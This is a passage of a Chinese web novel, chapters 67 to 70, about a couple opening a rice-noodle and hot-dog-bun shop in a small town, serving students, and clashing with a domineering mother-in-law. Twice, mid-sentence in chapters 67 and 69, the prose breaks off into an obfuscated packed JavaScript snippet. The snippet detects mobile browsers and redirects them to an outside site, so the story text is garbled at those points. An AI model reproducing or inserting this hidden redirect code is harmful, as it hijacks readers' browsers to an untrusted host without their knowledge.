宁绍明趁机问:“你觉得我在镇上卖这个怎么样?” 那兄弟夸张地说道:“你要是卖,我以后绝对天天来捧场!” 宁绍明听到这话心里很开心,没有厨子不希望自己做出来的饭菜受欢迎。 但宁绍明也没把他的话全部当真,他这些兄弟家里还有一家老小要养呢,哪能天天出来买着吃。 不过朋友偶尔能来个一回两回,他也很高兴。 第一锅羊肉炒粉出锅,全部铲到一个大托盘上,端到前面店里。 那里桌椅是现成的,也不用支起自家用的大圆桌了。 将羊肉炒粉放下后,宁绍明又回去,把一锅羊汤也抬到店里:“大家饿了就先吃,炒粉吃着觉得太干可以配着羊汤,都别客气啊!” 亲戚朋友们开玩笑道:“我们来你这里,可从来不知道客气这两个字怎么写,大厨赶紧回厨房继续做,要不我们得把你这盆一起啃了。” 说完不约而同地哈哈大笑起来。 宁绍明本来估摸着人数,打算做三大托盘的炒粉,分别是羊肉炒鲜粉、猪肉炒鲜粉还有猪杂炒干米线。 没想到不管是在县城吃过的人,还是没吃过的人,对炒米粉的接受程度都很高,食量远超以往。 宁绍明又让儿子加急去买了一些鲜米粉回来,多做了两大托盘才够吃。 中途甚至还有昨天在他们家买过热狗的学生跑来,看他家开不开门。 昨天宁时秋跟他们说过,今天家里有事,星期天才会开门做生意。 可昨天没买到热狗的人吃不到就一直惦记。 看到这里有那么多人在吃东西,以为真开门了,几个人结伴兴冲冲地跑进来,问多少钱一份,闹了个小小的乌龙。 不过负责招呼亲戚朋友的赵如月也没吝啬这点东西,给他们都分了一份尝尝。 这些可都是消费力很强的潜在客户。 67. 第 67 章 昨天赵如月见过那些学生买东西时,毫不犹豫掏钱的样子,算是见识到了学生们的购买力。 她觉得自己对镇上消费人群和消费力的判断有一些偏差,对自家店的定位也不太对。 眼光全放在大人们身上,竟然忽略了这些学生。 用固有的思维去判断,下意识认为大人没闲钱、不舍得吃,他们的孩子肯定更没钱。 这个思维其实是错误的,是有对孩子抠搜,不给孩子花钱的家长,但那其实是少数,大部分家长多是宁愿自己苦一点,也要供孩子。 而且不管在哪个年代、哪个地方,特别穷的人和特别富有的人都是少数,普通人才是大多数。 普通人的孩子,就算零花钱不多,他们也是有零花钱的。 尤其是家在街上还要住校的初中生,每周的米饭需要从家里带到学校去,让饭堂统一蒸熟,但是菜和肉都需要跟学校食堂买。 只要不是特别穷,穷到揭不开锅的家庭。 家长每周都会给初中住校的孩子菜钱,有些还会在菜钱之外,多给一些零花钱。 学生们时不时要买点学习用品、要交点资料费什么的,可能还会瞒报,跟家长多拿点。 零零总总的加起来,他们兜里其实挺宽裕,比较贵的东西肯定买不起,但是买点好吃的还是能买得起的。 换做大人,遇到好吃的可能还会考虑一下性价比,孩子就不会想那么多,只要做得足够好吃,他们就会买账。 学生们对绝大部分新事物的接受能力,还比大人们要高得多,要是她家的东西比别人家多一些新意,肯定更能吸引他们。 就算有些人暂时没钱,为了能吃到同学都吃过的东西,甚至会从菜钱里扣一部分出来,攒一攒去买。 昨天那短暂的试营业后,赵如月很快跟宁绍明商量着,把经营的重心往学生偏移,当然其他客人也不会不管。 毕竟初中生只有每个星期五下午和星期日,才能在街上到处逛,学生不能出来的时候,还有集日,还是要靠普通客人挣钱。 晚上正餐那一顿,赵如月看婆婆没来,有些不高兴。 建新房的时候,她不来帮忙就算了,温居酒又不用她做什么重活。 只需要她坐着择菜,然后招呼一下亲戚,跟亲戚嗑嗑瓜子聊聊天,这都不来? 眼看着要吃晚饭了还没见她踪影,赵如月去找宁绍明:“你妈还没来,要不你去看看,她是不是身体不舒服来不了?来不了的话给她端点饭去。” 宁绍明知道怎么回事,老太太惯用的逼他妥协的方法罢了。 “不用去,她八成为昨晚的事生气。” 赵如月无语了:“就因为这?要不答应她算了,反正也花不了多少钱。” 宁绍明说:“不用,你这次依了她,下次呢?” “我们就开张这一次,哪还有下次?” “我是说别的事,你要不信就看着吧,”宁绍明放下锅铲,出去把儿子叫来了,“小秋,你去叫奶奶来吃饭。” 宁绍明知道自己去肯定讨不到好,还是得派儿子去才能把人叫来。 宁时秋骑着自行车回老宅,没多久就载着他奶奶来了。 黄秀华以为宁绍明让小孙子来请自己去吃饭,算是对自己低头了。 一来就开始指指点点,这个菜不行、那个桌子放得不正,反正不经过她指点做的事,总有她能找出来的毛病。 听亲戚们说宁绍明要卖炒米粉和羊汤,更是露出不赞成的表情说:“卖那个怎么成!没见镇上有谁卖过,人家都不知道是什么玩意儿,哪能卖得出去,要我说,应该学学镇上卖得好的店,人家卖什么,也跟着卖什么,没准还能挣点钱。” 明明早些时候,赵如月从县城打包回来,也给她尝过,当时她也觉得好吃,早就知道宁绍明夫妻俩预备卖些什么,一直没提过别的意见,今天就非得贬几句。 宁绍明给赵如月使了个眼色:你看吧,我刚刚说什么来着? 有一件事不合她心意,她就要找茬,以前还好,可能全家都听她的,所以没表现出来。 就显得分家后这种情况尤其严重。 黄秀华趁着亲戚们都在,又跟刚分家那天要求赵如月买家里过年的东西一样,想仗着自己是长辈,对他们开的店提点意见。 “你们卖羊汤不行,羊比猪贵那么多,怎么能挣钱?别到时候把打工挣的那点钱全赔进去,最好跟镇上别的店一样,换成猪棒骨熬的汤。” 她只知道羊汤成本更贵,猪骨汤成本便宜。 完全不管人家煮米粉店熬的猪大骨汤并不单卖,是用来煮米粉,给米粉增加底味的。 他的羊汤可以跟炒米粉一起搭配,也可以单卖,买炒米粉搭配的羊汤是赠送的,是吸引客人的手段。 送的羊汤里面只有葱花、香菜和汤,没有羊杂和羊肉,单卖的有羊杂和羊肉,算单独的菜品。 煮米粉他们家也有,只是汤底也用羊头和羊骨头熬的汤,之所以换羊,就是为了跟镇上别的店区分开来。 也是因为羊比猪贵,让客人觉得他家的米粉成本更高,话同样的钱,会让客人觉得吃他家的更占便宜。 有时候成本高一些也不是没好处。 可是黄秀华不懂,她只想让儿子听自己的话,吃着饭跟亲戚们说半天,又绕回到去找道公、神婆那件事上面了。 宁绍明在男人那桌,赵如月在女人这桌,跟她同桌吃饭,被念得头都大了。 最后只能机械地重复一个意思:这事我说了不算,你们得去找我男人说,这事归他管。 有跟黄秀华一样迷信的亲戚,还真转头去找宁绍明说了。 宁绍明不想妥协,只能做出跟人划拳喝酒很认真的样子,装作听不到她们的话,不然在亲戚朋友面前吵起来可不像样。 黄秀华的目的没达成,吃撑了一肚子肉和菜,还有一肚子气回老宅去了,只当知不知道作为自家人,吃完得帮忙收拾一下碗筷桌子,明天好还回去。 以前什么事她都得在儿媳们面前讲究一下,说老规矩该怎么怎么地。 这自家人,乃至亲近请酒,吃完饭后,别的近亲留下帮忙收拾,也是老规矩,这时候就不讲究老规矩了。 转头别人问起,她说一句自己身子不舒服就能搪塞过去。 赵如月也是服了,早知道吃饭的时候,直接让儿子带点吃的给她送到老宅去,直接跟人说她不舒服拉倒,自己也不用忍受她的念叨了。 不过这些事只要他们不在意、不理会、不被影响,其实除了有点膈应人,也不是什么大事。 最重要的事,还是明天开店。 他们原本不想那么快开,但既然昨天已经卖东西了,就不能休息太久,免得错过商机。 毕竟热狗面包也不是什么很难仿照出来的东西,得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881510|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趁着别人还没跟风,赶紧赚钱。 明天刚好是星期天,初中生回校的日子,很多学生都是这时候手头最宽裕,错过的话,就又要等一周了。 收拾好东西,再收拾好自己,已经是晚上九点。 两个孩子白天一直在帮忙做力所能及的事,也挺累的。 八点多给他们洗完澡,他们就已经困得睁不开眼,早早睡着了。 赵如月和宁绍明忙了一天也很累,但他们还不能睡,得重新商量一下店里的菜单,还有明天要买的食材。 干米线和干米粉是可以提前买好囤在家里的,他们早就买好了,但明天需要早点起床浸泡干粉。 鲜米粉也预定好了,明天米粉作坊那边会送过来,他们只需要检查一下品质合不合格。 羊暂时用不到一整只,所以先跟镇上卖羊肉的摊子买。 前面几天是试卖,他们打算先买半只羊,加上一些羊杂和羊骨头,看看卖得怎么样,不够再加。 家里暂时买不起冰柜,肉类宁愿少不能多,不然放一晚上就没法用了。 猪肉和猪杂是跟宁绍明大姐家订的,明天她会送过来,猪杂也会帮忙提前收拾干净。 这要是换别人家,可不会这么周到。 炒米粉的其他配菜除了豆芽和洋葱,也就需要再放一样绿叶蔬菜,什么便宜买什么。 不过他们分家时,分到的菜地里还有不少蔬菜,葱花、香菜、生菜、莴笋、油麦菜都有,这些都暂时不用买了。 倒是面粉是临时加上的,家里的昨天都用完了,明天先在镇上买一些顶上,等家里的干米线和干米粉用完,再一起去县城批发,价格更便宜。 还有火腿肠,家里原本买来给孩子吃着玩的,昨天也差不多用光了。 赵如月写到这里,转头问宁绍明:“火腿肠要不要换成热狗肠?” 宁绍明早上起得最早,这会儿困得脑袋有点迟钝了,没反应过来:“什么热狗肠?” “就是我们以前在鹏城的时候,一起去逛公园,你给我买的那种,公园门口卖一块五一根的烤肠。” “那烤肠要一块五一根,成本……” 赵如月起身出去用冷水浸透毛巾,拧干水,进来糊在他脸上搓了一把。 宁绍明的脑子总算稍微清醒了些:“哦,那种热狗肠啊,别人卖得贵,其实批发成本也不高,不过镇上没得买,得去县城批发,等以后去批发面粉和干米粉这些,我们再换吧。” 他顿了顿又说:“其实也不用换,可以多增加一种,让客人选,小孩不都喜欢吃烤肠么,到时候烤肠也可以单买,你觉得怎么样?” 赵如月点头:“我觉得行,要不,明天多买点火腿肠回来,把火腿肠也单卖?” 宁绍明有些犹豫:“我怕来不及,家里烤炉太小,烤馒头就够费劲了。” 说到烤馒头,其实赵如月也有一个担心的事:“我们在门口闺女做的小烤炉上烤,别人学去太容易了。” 要是不让人看见,别人看到被做成面包形状,又被烤得金黄,看起来几乎跟面包没太大区别的烤馒头,没准真以为是面包。 镇上没人会做面包,昨天看到宁绍明烤馒头的人也没几个。 这相当于,无形中给竞争者增加了一个并不存在的技术门槛,这个东西也许还不那么容易被学去跟风卖。 他们也能在镇上做这门独家生意久一点。 68. 第 68 章 赵如月想,要是家里有个烤箱就好了。 可惜家用烤箱不够大,卖东西的量大,用起来不一定比小烤炉方便多少。 商用烤箱他们又买不起,除非动用那十万块钱。 但她知道宁绍明不愿意。 他不知道以后物价会上涨成什么样,跟现在大部分人一样,以现在的眼光来看,认为那么多钱她自己存着,足以够以后她养老用。 宁绍明毕竟是个厨子,在自己职业范围内遇到的问题,他很快就想到了解决方法。 “我们换个方法,把馒头弄成面包的样子不就好了。” “什么方法?” “用油炸,我可以控制炸制的火候,把馒头炸得跟面包看起来一样。” 以前他找工作的酒店也卖馒头,不过南方人很少吃那种大馒头。 酒店卖的都是小小一个的奶香小馒头,还有炸过的小馒头。 酒店的一盘馒头里,奶香小馒头和炸小馒头各占一半,再给点炼乳,给起个吉利好听的名字,叫金银满盘。 他虽然没炸过大馒头,但炸东西万变不离其宗,明天上手试几个,找到手感就好了。 宁绍明想到了办法,赵如月就放心了:“那明天顺便看看炸馒头一天下来,要用多少油,油消耗得快的话,我们准备用一段时间的油,可能用不了那么久,到时候一起去县城批发。” 正经事说完了,两人躺下后有一搭没搭地说着话,很快就迷迷糊糊地睡了过去。 直到第二天脑中响起,只响了两秒,就被睡在最外面的宁绍明按掉,以免把孩子也吵醒。 闹钟上显示凌晨四点半,两个孩子要长身体,最好多睡一会儿。 两人起身后轻手轻脚地换好衣服,走出房间才小声说起话来:“我们新家现在几乎闻不到墙上腻子的味道了,进去只有木头味,早点搬进去应该没事,要不然我们以后每天要早起,容易影响孩子们睡觉。” 宁绍明算了算时间:“到五月份,我们的房子也晾了两个多月,要不到五月初搬过去?” 赵如月点头:“劳动节放假,看看到时候忙不忙,要是客人多,就等过了劳动节假期再搬。” 两人商量好就各自忙去了。 早上主要卖羊汤米粉和羊汤米线,那汤首先得熬好。 宁绍明忙厨房里的活,处理羊肉、羊杂、羊骨头、熬汤、腌肉,泡干粉。 有些羊杂和猪杂不好嚼,得先把它们炖得耙一些,再切成小块或者小条状,这样不管是煮还是炒都比较方便。 做完这些他也不能停下来休息,还得揉面蒸馒头,炸馒头、炸火腿肠、炸猪肉片,做蛋黄酱。 不过他们觉得早上买热狗面包的人应该不多,做热狗面包需要用到的东西,可以慢慢来。 宁绍明围着灶台忙活,赵如月就去清洗蔬菜和配菜。 洗干净沥水,该切条的切条,该切段的切段。 分开切好后,整整齐齐地码在托盘里,然后送到厨房灶台旁边的架子上放好。 做完这些她又去擦桌子、摆椅子,把酱油、辣椒酱、醋、纸巾还有一次性筷子摆在每张桌子上。 再检查一下收银台下面抽屉里的零钞,记住每种钱的位置,以便加快找钱的速度。 星期天早上来的人里学生少,她暂时没有准备取餐号码,只能像大排档一样,先自己手写点菜单。 两人各自分工,有条不紊地做着营业前的准备工作。 ………… 从早上五点到六点多,羊汤熬好。 七点多,第一个客人登门,两人才想起第一天正式开张营业,他们还没放开张鞭炮。 要是换成讲究的人,可能还会请舞龙舞狮,不过他们不在意这些,拿了一串鞭炮在门口一放完事。 “你们这店可算开起来了。”第一个来的人也是他们熟悉的人。 就是春节前跟赵如月买过围巾手套的老乡,这次她来身边还跟着一个女孩子,看起来十三四岁的模样。 赵如月笑着说:“建房装修耽误了不少时间,旁边的牌子上贴着菜单和价格,看看想吃点什么?” 老乡识得的字不多,但还是能看懂上面的价格,她看了几眼说道:“还是你这里好,价格都写在明面上,不用总是问,让人问多了不好意思,佳佳,你帮我念念这上面的菜。” 小姑娘背着书包,有些腼腆地站到牌子前面边看边说:“羊肉煮粉、羊杂煮粉、猪肉煮粉、猪杂煮粉,二两的六毛钱一碗,三两的七毛钱一碗。” “羊肉炒粉、羊杂炒粉、猪肉炒粉、猪杂炒粉,二两的八毛钱一碗,三两的九毛钱一碗,送一碗羊汤,热狗面包一块钱一个,炸火腿肠五毛钱一根,羊杂汤和羊肉汤单独买六毛钱一碗。” “加青菜两毛一份,加羊肉、猪肉或者羊杂、猪杂都是五毛钱一份,煎蛋三毛一个,煮粉和炒粉都有圆粉、鲜切粉和米线可以选,就这些了。” 看着菜单好像挺多,其实归类后就三种,煮粉、炒粉和热狗面包。 “热狗面包是啥?竟然卖得比一碗粉还贵。” 赵如月解释道:“就是电视上外国人吃的那种,里面夹着肠和青菜的面包,我们家的还加了肉,所以贵点。” 老乡听了转头问女儿:“闺女你想吃不?想吃给你买一个,老外吃的东西,我吃着不一定合胃口,我还是爱吃米粉。” 她闺女也没吃过,点点头小声说:“想。” 赵如月点点头,然后在自己做的点菜单子上写:‘C①''。 老乡又问赵如月:“妹子,那个炒粉好吃不。” 赵如月拿出来一个碟子,这是早就准备好给客人尝味道的炒粉。 碟子上面有炒的圆粉、鲜切粉、米线各一点:“我拿点给你尝尝,你觉得好吃再买。” 老乡忙摆手:“这怎么好意思。” 赵如月笑着说:“不用觉得不好意思,镇上没有卖炒粉的店,我们怕大家不知道味道影响生意,就提前准备了一些免费给人先尝尝。” 她这么说,老乡才接过碟子,拿了双一次性筷子,跟女儿一起分着尝了尝。 尝完冲着赵如月直比大拇指:“好吃,真好吃,我就要这个炒粉,要羊肉的二两炒米线,闺女你要不?” 她女儿很想要,但是怕自己吃不完:“我都要热狗面包了,吃不完怎么办?” 老乡说:“这有什么,这炒米粉没有汤,吃不完可以打包带去学校再吃,老板娘,你这里可以打包吧?” 赵如月点头:“可以,我们有打包盒,你们不介意的话,汤也能打包,不过汤的只有塑料袋装。” “那就行了,我们不介意。” 老乡的女儿点了一份二两的猪肉炒米粉,脸上显而易见地更开心了。 “你女儿的那份现在就要吗?”赵如月问她。 赵如月记得初中生一般下午才会回学校,现在还很早,去太早的话,学校估计都没开门,她对老乡说道:“要不你晚点再让她来打包,不然炒米粉放太久也会坨,到时候就没那么好 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老乡的女儿拿到后,看着比她手掌还大的热狗面包,里面东西还夹得满满当当的,一时间还真不知道该怎么下嘴。 老乡看了一眼,满意地点头:“我就说这家做生意实诚,给的东西真多,一块钱真划算,里面夹的那个火腿肠,上回你小姨结婚,在县城的饭店办酒席,我跟你爸去县城吃席,在人民广场看到有人卖。 好家伙,就这么一根肠,敢卖八毛钱! 还是我们镇上好,东西便宜,一块钱给这么大一个面包,还有菜有肉有肠,真值!” 她闺女掰了一半给她:“妈你也尝尝,我食量小,吃不了一整个。” 老乡推让不过,只好接过来吃。 她一口咬下去,竟然还吃到了煎蛋! 老乡以为厨子给多放东西了,忙转头问赵如月:“老板娘,不是说里面只有炸火腿肠、生菜和猪肉吗?怎么还有煎蛋,是不是放错了?一个煎蛋我给你补三毛钱。” 赵如月正给其他客人点菜,听到她的话抬起头,用店外都能听到的声音说道:“不用补,今天第一天正式开业,每一份都送一个煎蛋,等会儿你点的炒米粉里也有。” 那些煎蛋,大部分都是宁绍明做蛋黄酱剩下的蛋清,再往里加几个全蛋,搅拌后做成的煎蛋。 这样的煎蛋不完整,当全蛋卖他们觉得亏心,干脆就当开业福利送人了。 以后剩下的蛋白,等他们买了打蛋器,可以试着做蛋糕,或者再想想能用来做别的什么东西。 这段时间就先给客人送福利吧。 赵如月话音刚落,老乡的炒米粉也好了。 她去取餐口端出来一看,果然也有一个煎蛋。 于是又点了一份热狗面包和一份炒米粉,说要带回去给家里小的,和她丈夫尝尝。 正在点单以及已经点单,坐在位置上等着吃的客人知道有煎蛋送都很高兴。 有人本来想去别的店打包点包子馒头之类的,回去给家里人吃,这会儿也改变了主意,换成在赵如月家打包。 原本还站在门口犹豫着要不要进来的人,听到送煎蛋也进来了。 一时间,原本还显得有些空荡的店面变得热闹起来。 人气的聚集让店铺的人气更旺。 外面路过的人看这家店里有那么多人吃东西,大概率会觉得这家店的东西应该不差,就更容易被吸引进来了。 69. 第 69 章 宁时秋和宁时夏睡醒时,发现父母已经不在房间里了。 去年一年里,父母不在家是常态,他们也不慌。 宁时夏迷迷瞪瞪地自己换好衣服,穿上小凉鞋。 宁时秋熟练地给自己和妹妹洗漱好,还给妹妹绑了两个整整齐齐的小辫子。 宁时夏拉开柜子抽屉,拿出两朵皮筋绢纱头花:“哥哥我今天戴这个绿色的。” “你怎么总喜欢这种绿色……”宁时秋一言难尽地看着那两丑朵头花,不是很想往自己妹妹头上戴。 宁时夏就乐意戴这个:“军绿色,多好看,我就要戴这个!” “行吧……”宁时秋拗不过她,只好帮她绑到小辫子上。 两人在老宅简单吃了点早饭,就跑到新家。 看到店里很多人,妈妈忙得连水都没时间喝,他们赶紧去帮忙。 宁时秋帮忙招呼客人,提醒客人取餐,有时候赵如月忙不过来,他也帮忙点单。 宁时夏年纪太小,别的帮不上,就帮忙收拾客人吃完的碗筷。 她还想帮忙洗碗,但小孩子的手太嫩了,泡在水里太久,碰太多洗洁精都不好,赵如月就没让。 一家四口从早上一直忙到中午集市散去,店里的人少了些,赵如月才想起来,自己跟宁绍明一直忙到现在都没吃早饭。 忙着的时候没感觉,稍微一闲下来,立马感觉到饿得烧心、手抖。 趁着人不多,两人抓紧时间把早饭跟午饭一起解决。 赵如月让宁绍明给自己做了一晚羊杂煮米线。 也就是现在,她才第一次吃宁绍明做的羊杂煮米线。 在开店之前,赵如月发现自己竟然没想过,要先试吃一下好不好吃,对宁绍明的手艺有种迷之信任。 好在事实证明,他的手艺确实不错,赵如月还挺喜欢吃的,吃完一碗又续了半碗。 他们家炒粉是一份一份现炒,而不是提前炒一大锅备着。 宁绍明颠了一上午的锅,相当于干了一上午体力活,更是饿得吃了一个热狗面包还不够。 又自己炒了一份猪肉米粉,外加一碗羊杂汤下肚溜溜缝,才感觉整个人活过来了。 “街上的集市最迟1点之后,就散得差不多了,下午应该不会像上午那么忙。” 赵如月的想法跟他一样:“这次是集日碰上学生返校,加上我们还送煎蛋,客人才这么多,以后的生意不一定有今天好。” 普通的集日,生意也会好一些,但是肯定比不上今天。 不是集日的平常日子,生意估计会比普通集日还要更淡一些。 总的来说,他们大概也就是学生放假和返校,也就是周五下午和周日下午。 还有每逢集日的上午比较忙一些,平常的日子不忙,能多休息一点,综合一下应该不至于太累。 要是每天都像今天这样,他们就得考虑请人来帮忙了。 要不然挣钱是真挣钱,累也是真的累得要命。 今天还是有两个孩子帮忙呢,明天他们家孩子也要上学去了。 两人都以为今天下午,就算还有学生来,也不会比上午忙了。 没想到判断出了差错,下午三点多,竟然有一群学生涌来。 赵如月抽空找了个学生一问,才知道这些学生都是初中生,要么买热狗面包,要么想打包一份炒米粉去学校吃。 两种都要的也有不少,打算至少留一份在晚自习之前吃。 那学生告诉她:“我们每次返校,为了能准时到校,晚饭都吃得特别早,学校今天晚上又不开火,只有小卖部开门,回学校还没上晚自习就饿了。 以前都是吃点零食小面包什么的填肚子,可小卖部卖的零食和小面包也不便宜,想要吃饱,没个两三块钱打不住,太不划算了,不如买你家的东西,好吃又顶包,以前也会买包子,可包子都腻了。” 他们有些是听同学介绍,才知道这里有可以打包的米粉, 有些是听之前吃过热狗面包的同学说,热狗面包有多么多么好吃,又说热狗面包是在他们这里买的,就跟着一起来了。 赵如月和宁绍明再次忙得脚打后脑勺,家里的鲜米粉卖没了,热狗面包的材料也没能顶到最后。 这个点米粉作坊也没有米粉卖了。 只能临时煮干米粉和干米线顶上,就是没泡过的干粉不好煮,煮的时候要多花点时间,冷水下锅煮开几分钟,再关火焖个几分钟。 也不能焖超时,要不然米粉就容易断,口感也不好。 这个做法跟早上有些区别,好在学生们也不介意,只要好吃他们就乐意掏钱。 赵如月看着店里乌泱泱的一群少年,她甚至怀疑,这一下午,镇初中的学生是不是都来自己家店里打包米粉了。 原本准备五天用的食材,今天一天就被消耗掉了一半。 好不容易忙完,傍晚关了店,赵如月和宁绍明都顾不上数钱,也没来得及吃饭洗澡,回到老宅的房间,累得倒头就睡着了。 带回来的钱,还是宁时秋带着妹妹帮忙分类好,又扎成了小捆,方便他们醒过来后数钱记账。 今天宁时秋也有一些收入,宁丹萍载的同学更多,宁时秋的收入也翻倍了。 他足足分到两块钱! 赵如月和宁绍明从傍晚六点,一觉睡到晚上九点半。 睡醒起来的时候,又饿得前胸贴后背。 宁绍明起身去厨房找吃的,结果厨房里连一丁点剩饭都没有。 他转身走到米缸前,想着没有剩饭,自己焖饭,放点猪油和酱油,他们吃碗猪油拌饭也行。 结果,自从田地分到各家各户,自负盈亏后,家里没空过的米缸也空荡荡的。 这时候宁绍明察觉出有点不对劲了,再走到一个篮子前,这篮子里平时会用来装明天一早喂鸡的青菜。 现在正值春夏之交,青菜多得吃不完,哪怕是用来喂鸡的青菜都很新鲜,人也能吃。 可这个篮子里也是空荡荡。 宁绍明皱着眉头放下盖子,正要离开厨房。 他妈不知道什么时候来到了他背后,他一转身被吓了一跳:“妈,你怎么走路都没声。” 黄秀华撇撇嘴说:“你们一家子不是早早都去新房那边开火了,怎么还想回来吃我的、喝我的?想吃东西,自己去新房那边做呗!” 人饿着肚子本来就容易烦躁,一听到这阴阳怪气的话,宁绍明就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894779|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火了:“行,以后我们一家子自己开火。” 黄秀华看他不愿意对自己说好话服软,新怨和旧怨夹杂,冲动之下脱口而出:“你这么有骨气,那干脆别继续住我家,赶紧搬到你们自己家去吧!” 说完母子两个都愣了一下。 宁绍明意识到她在说什么,沉下了脸说:“不用你赶,我们明天就搬出你家老二的房子!” 黄秀华对自己说出口的话有点后悔。 可她转念一想,自己也不是故意的,谁让老三这几天总是不听话! 不知道他这是怎么的,真变得跟个犟种一样。 以前只有涉及到他媳妇儿和孩子的事,他会犟脾气忤逆。 这回竟然连自己为了他们好,才叫他们跟自己去找道公神婆这么重要的事都不听。 自己特地给他的店提点意见,也为他好,她吃过的米比他们吃过的盐都多,难道还能害他不成? 这小子却还是把她的话当做耳边风! 今天店面开业,也不请她这个当妈的去看看,回来更是连她说几句也要计较,跟她发脾气,简直大不孝! 老话说得好,天下无不是的父母,自己是他亲妈,说几句能怎么?不听老人言迟早要吃亏! 她刚才说话不好听,也是让老三气的! 黄秀华越想越觉得自己没错。 宁绍明没带回来饭菜,反而带回来了一肚子气。 只能回房间吃点孩子们的零食,稍微填一下咕咕叫的肚子,然后跟赵如月一起去新家洗澡,顺便做点吃正经吃的把肚子填饱。 简单洗漱过后,他们俩赶紧继续休息。 次日早上起床的时间,依旧跟昨天一样。 赵如月起床后,拿出一块钱放在两个孩子枕边,想了想又各自多给了一块钱,毕竟昨天两个孩子帮了不少忙,也累得够呛。 多给一点就当是奖励了。 今天早上是星期一,走读的小学生早早就要上学,镇上有工作的人也要早起上班。 早上的生意虽然不如昨天,但也依然不错。 再加上他们昨天跟每个客人都说过,今天依然送煎蛋,而且店里东西的味道确实不错,又有热狗面包吸引小孩子。 很多昨天来吃过的人,今天都成了他们家的回头客。 今天他们的预料终于没出错。 不是集日,也不是学生放假或者返校,确实没那么忙了。 两人忙过早上小学生上学,大人过早那一阵之后,从九点半开始,店里就慢慢清闲下来。 只时不时有一两个客人来,宁绍明一个人也能应付。 赵如月则回家收拾他们的东西,昨晚婆婆的话,宁绍明全告诉她了。 不就是提前搬家么,别人不乐意让他们住,那搬就搬呗。 只是以后婆婆也想来他们家住,可没那么容易了。 毕竟分家的时候,也没把以后哪个老人要去哪个儿子家,白纸黑字地写在分家协议里。 到时候可别怪他们推来推去地扯皮。 既然婆婆把老二家当成她自己家,以后就最好能一直住在那里。 她倒要看看,老二夫妻俩会不会乐意,让她一直在那里住着。 70. 第 70 章 其实他们的东西也不算多,赵如月早就开始慢慢收拾一些不常用的东西打包好。 冬天的衣服和被子、毯子、褥子这些,在天气变暖用不上之后,她已经搬到新家,暂时放在儿子和女儿放假的柜子里。 现在只需要收拾常用的衣服和生活用品,东西收拾起来也很快。 这年头人人衣服都不多,尤其春天和夏天的衣服又比较轻薄,非常好收拾。 她一个人骑着儿子的自行车,搬个两三趟就能搬完。 收拾好这些容易收拾的东西之后,赵如月去了一趟娘家,找她娘家哥哥和堂兄弟们帮忙搬家具。 搬起来最麻烦的东西,也就只有她和宁绍明的床。 还有她陪嫁的那套组合衣柜跟她的梳妆台。 床得拆了搬到新家再重新装上。 组合柜没法拆木板,又是用料很扎实,很沉的实木。 只能两三个男人一起慢慢搬出来,然后搬到拖拉机上,运到新家,再同样慢慢搬到她和宁绍明的房间里。 梳妆台比这两个好搬一些,但是因为带着镜子,也要格外小心,免得镜子被碰碎。 所有东西搬完也才下午两点多,差一点才到三点钟。 宁绍明趁店里没客人的时候,提前去买了些肉和菜。 估摸着东西搬完的时间,做了几个硬菜,用来招待赵如月娘家来帮忙搬家的兄弟们。 下午客人本来就少,到三点多的时候,几乎没有了客人。 赵如月和宁绍明干脆挂上闭店休息的牌子,陪着赵如月娘家来帮忙的兄弟吃饭。 席上没人问赵如月和宁绍明为什么突然就搬家了,毕竟家家有本难念的经。 大家吃吃喝喝聊聊天,吃得差不多就散了。 他们临走前,宁绍明把特地留的热狗面包分别打包起来,给他们各带了几个回去给家人孩子吃,也算是道谢。 中途吃到四点半的时候,赵如月去了一趟小学门口。 小学四点半就放学,但她忘了,现在的小学放学后有文体活动。 其实就是让每个班的学生各自派班干部,去体育室拿体育器材,各班自己组织着玩。 有踢毽子、打羽毛球、打乒乓球、篮球、跳绳等等,每个班换着来。 赵如月来到学校门口,看到儿子正跟同学打羽毛球,问了一下门口的保安,才想起来还有这回事。 好在有家长提前来接的话,学生也能提前走。 赵如月想着来都来了,还是提前把孩子接回去吧,省得两个孩子跑回老宅那边,发现房间里什么都没了着急。 宁时秋没想上过学前班,六岁直接上的一年级,上下学有表哥表姐和邻居哥哥姐姐带着,还从来没被家长接送过。 乍然听到他妈妈来接,感觉还挺新奇。 他把自己的拍子交给别的同学,收拾好东西跑去学前班那片区域找妹妹。 学前班的老师不太放心,跟着他们一直到校门口,确认来接孩子的确实是他们的妈妈,才放心把孩子交给她。 宁时夏什么也不懂,只知道妈妈来接让她很开心。 她牵着妈妈的手一个劲地蹦跶。 “妈妈,你以后还来接我们吗?” 看着两个孩子期待的眼神,赵如月想了想说:“哪天店里不忙,我跟你们爸爸就轮流来接你们。” 宁时夏欢呼:“太好啦!” 宁时秋也抿着嘴巴,脸上的笑容很灿烂。 回到新房这边,赵如月让他们去自己收拾房间。 床铺她已经铺好了,大件的东西也归置好。 原先暂时放在他们房间柜子里的冬季厚衣服、被子,全都搬到了她和宁绍明房间的柜子里。 两个孩子只需要按照他们自己的喜好,收拾他们的私人物品。 这对于宁时夏和宁时秋来说都是第一次经历。 两人很兴奋地放下书包,跟舅舅们打了个招呼,就快速跑回自己的房间开始收拾。 赵如月也不管他们收拾成什么样,房间乱不乱。 反正他们喜欢并且以后自己能找到自己的东西就行。 两个孩子把这当成了游戏,玩得废寝忘食。 